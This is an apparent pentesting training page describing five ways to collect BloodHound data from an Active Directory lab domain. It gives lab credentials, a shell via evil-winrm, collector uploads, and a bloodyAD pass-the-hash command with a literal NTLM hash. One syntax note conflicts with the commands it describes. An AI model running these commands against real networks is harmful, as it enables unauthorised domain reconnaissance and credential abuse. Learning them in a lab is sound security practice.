> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/active-directory/bloodhound/collecting-the-loot.md).
# Collecting the Loot
To use BloodHound, you must first gather data from the target Active Directory environment. This data collection process is called "ingestion." There are several ways to collect this data depending on your starting position, operating system, and OPSEC (Operations Security) constraints.
We will look at five distinct methods to collect BloodHound data. It's important to know how to do this in more than one way... because I promise your "preferred method" will eventually fail and you will need to pivot :)
#### Credentials
We encourage you to try out these methods on the target machine. You can use the following credentials to authenticate. Although we will not show you how to install each individual tool, a quick glance at the tool's Github or some Googling should help you figure it out.
```
Username: pentest
Password: HackSmarter123!
```
First Check whether the credentials work or not.
```
nxc smb 10.1.135.69 -u 'pentest' -p 'HackSmarter123!' --shares
```
### Method #1: Netexec (`nxc`)
[NetExec](https://www.netexec.wiki/) is an excellent post-exploitation tool run from your Linux attacking machine. If you have valid domain credentials, you can use its built-in BloodHound module to collect data remotely over LDAP without needing to upload an executable to a Windows target.
```
nxc ldap [DC-IP] -u 'username' -p 'password' --bloodhound --collection All --dns-server [DC-IP]
```
### Method #2: SharpHound
[SharpHound](https://github.com/SpecterOps/SharpHound/releases) is the official C# data collector designed to run directly on a Windows target. It is incredibly thorough and can be run as a standalone executable (`SharpHound.exe`) or loaded into memory via PowerShell (`SharpHound.ps1`).
You can transfer the .exe to the target with evil-winrm. First get a shell on target.
```
evil-winrm -i dc01.hacksmarter.hsm -u 'pentest' -p 'HackSmarter123!'
```
Now, upload it
```
upload /home/kali/Desktop/SharpHound/SharpHound.exe
```
Now, collect the loot
```
.\SharpHound.exe -c All
```
Now download the loot.
### Method #3: RustHound
[RustHound](https://github.com/g0h4n/RustHound-CE/releases) is a cross-platform BloodHound ingestor written entirely in Rust. It is highly optimized, fast, and generates compiled binaries for both Linux and Windows. It is excellent for scenarios where you want a lightweight binary that does not rely on the .NET framework.
{% embed url="" %}
```
./rusthound-ce -d hacksmarter.hsm -u 'pentest' -p 'HackSmarter123!' -n 10.1.135.69 -o ./rusthound_output
```
### Method #4: bloodhound-python
If you are operating entirely from a Linux machine and want a pure Python approach without using NetExec, [bloodhound-python](https://github.com/dirkjanm/BloodHound.py/tree/bloodhound-ce) is the go-to tool. It is a Python-based ingestor that queries the target Domain Controller via LDAP.
```
bloodhound-python -u 'username' -p 'password' -d [DOMAIN] -dc [DC-HOSTNAME] -c All -ns [DC-IP]
```
```
bloodhound-python -u 'pentest' -p 'HackSmarter123!' -d hacksmarter.hsm -dc dc01.hacksmarter.hsm -c All -ns 10.1.135.69
```
### Method #5: bloodyad
The syntax for [bloodyad](https://github.com/CravateRouge/bloodyAD) is needlessly confusing (in my opinion), but it has some unique strengths the other remote tools do not have. Specifically, bloodyad is able to successfully collect loot from Windows Server 2025 whereas nxc and bloodhound-python both struggle.
```
bloodyad -H [DC-HOSTNAME] -d [DOMAIN] -u 'username' -p 'password' get bloodhound
```
```
bloodyad -H dc01.hacksmarter.hsm -d hacksmarter.hsm -u 'pentest' -p 'HackSmarter123!' get bloodhound
```
{% embed url="" %}
`BloodyAD` successfully interfaces with the **degraded LDAP** service to collect complete BloodHound data using Pass-the-Hash.
**Command Syntax for dumping with hashes**
```bash
# Collect BloodHound JSON data using BloodyAD with Pass-the-Hash
bloodyAD -H -d hsm.local -u bbarkinson -p : get bloodhound
```
> **Note on Syntax:** BloodyAD requires specifying the target DC via `-h ` and passing the NTLM hash into the `-p` flag formatted with a leading colon (`:`).
```
bloodyAD -H 10.1.205.161 -d hsm.local -u bbarkinson -p :53c3709ae3d9f4428a230db81361ffbc get bloodhound
```